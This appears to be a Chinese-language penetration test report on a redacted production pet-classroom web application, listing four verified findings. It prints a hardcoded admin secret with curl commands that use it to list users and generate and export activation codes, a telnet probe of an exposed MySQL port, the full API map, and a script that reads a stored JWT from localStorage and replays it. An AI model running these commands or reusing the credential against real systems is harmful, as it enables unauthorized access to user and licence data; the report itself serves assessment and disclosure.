测试对象: 生产环境 (http://[数据脱敏]/pet/)


摘要

本次安全评估发现该系统存在4个安全漏洞,且全部为已验证/可利用状态


漏洞详情

管理员密钥硬编码

漏洞详情

系统在前端JavaScript中硬编码了管理员后台访问密钥,任何用户通过浏览器开发者工具即可获取。

1
2
3
// 源码中的硬编码密钥
const dy = "petclass_admin_2024";
const yn = {"X-Admin-Secret": dy};

验证过程

1
2
3
# 获取所有用户信息
$ curl -X GET http://[数据脱敏]:2016/api/admin/users \
-H "X-Admin-Secret: petclass_admin_2024"
1
2
3
4
5
# 批量生成激活码
$ curl -X POST http://[数据脱敏]:2016/api/admin/generate-codes \
-H "X-Admin-Secret: petclass_admin_2024" \
-H "Content-Type: application/json" \
-d '{"count": 10, "codeType": "half_year"}'
1
2
3
# 导出所有未使用激活码
$ curl -X GET "http://[数据脱敏]:2016/api/admin/codes/export?unused_only=true" \
-H "X-Admin-Secret: petclass_admin_2024"

MySQL 数据库端口暴露

验证结果

1
2
3
4
5
6
# Telnet 是纯文本协议,而握手包是二进制数据,所以把不可打印的字符显示成了乱码
$ telnet [数据脱敏] 3306
Trying [数据脱敏]...
Connected to [数据脱敏].
N
5.7.44-logx(h1}xZ�-Pd)^e!sGoAgmysql_native_password

API接口暴露

源码证据

所有后端API接口路径在前端JavaScript中完全暴露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 完整API接口地图
// 认证接口
POST /api/auth/login
POST /api/auth/register
POST /api/auth/change-password
POST /api/auth/renew
GET /api/auth/check

// 数据接口
GET /api/data/init
POST /api/data/students/save
PUT /api/data/settings
DELETE /api/data/student/{id}
DELETE /api/data/students/by-class/{id}

// 管理接口
GET /api/admin/stats
GET /api/admin/codes
GET /api/admin/users
POST /api/admin/generate-codes
GET /api/admin/codes/export
POST /api/admin/codes/enable
POST /api/admin/codes/disable

验证:未授权访问测试

1
2
3
4
5
6
7
8
# 即使没有管理员密钥,接口路径完全暴露,可进行暴力破解
$ curl -X GET http://[数据脱敏]:2016/api/admin/users
# 返回:{"detail":"admin secret error"}

# 但密钥已知,完全可控
$ curl -X GET http://[数据脱敏]:2016/api/admin/users \
-H "X-Admin-Secret: petclass_admin_2024"
# 返回:用户数据

敏感数据明文存储

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
// localStorage
const Y = G0(Z0((e, t) => ({
user: null, // 用户信息
token: null, // JWT令牌
isLoggedIn: false,
students: [], // 所有学生数据
classes: [], // 班级数据
// ...
}), {
name: "pet-class-storage",
partialize: e => ({user: e.user, token: e.token, isLoggedIn: e.isLoggedIn}),
// 数据直接存储在localStorage
}));

风险验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 攻击模拟
(async function demoAttack() {

const stolen = JSON.parse(localStorage.getItem('pet-class-storage'));
const token = stolen.state.token;
const user = stolen.state.user;

console.log(` Token: ${token}`);
console.log(` 用户: ${user.username}`);
console.log(` 套餐: ${user.codeType}`);
console.log(` 到期: ${user.expiresAt}`);

console.log('\n 使用Token访问API...');

try {
const response = await fetch('http://[数据脱敏]:2016/api/data/init', {
headers: {
'Authorization': `Bearer ${token}`,
'Content-Type': 'application/json'
}
});

if (response.ok) {
const data = await response.json();
console.log(' API访问成功!');
console.log(` 班级数: ${data.classes?.length || 0}`);
console.log(` 学生数: ${data.students?.length || 0}`);
console.log(' 完整数据:', data);
} else {
console.log('API访问失败:', response.status);
}
} catch (error) {
console.log('请求失败:', error.message);
}
})();

用户可控URL缺乏安全校验

经分析,该URL处理逻辑仅在客户端浏览器执行。由于浏览器的同源策略限制,攻击者无法通过此功能读取内网服务响应内容,也无法造成敏感信息泄露。此问题不属于安全漏洞


本报告仅用于安全评估目的,请勿用于非法用途。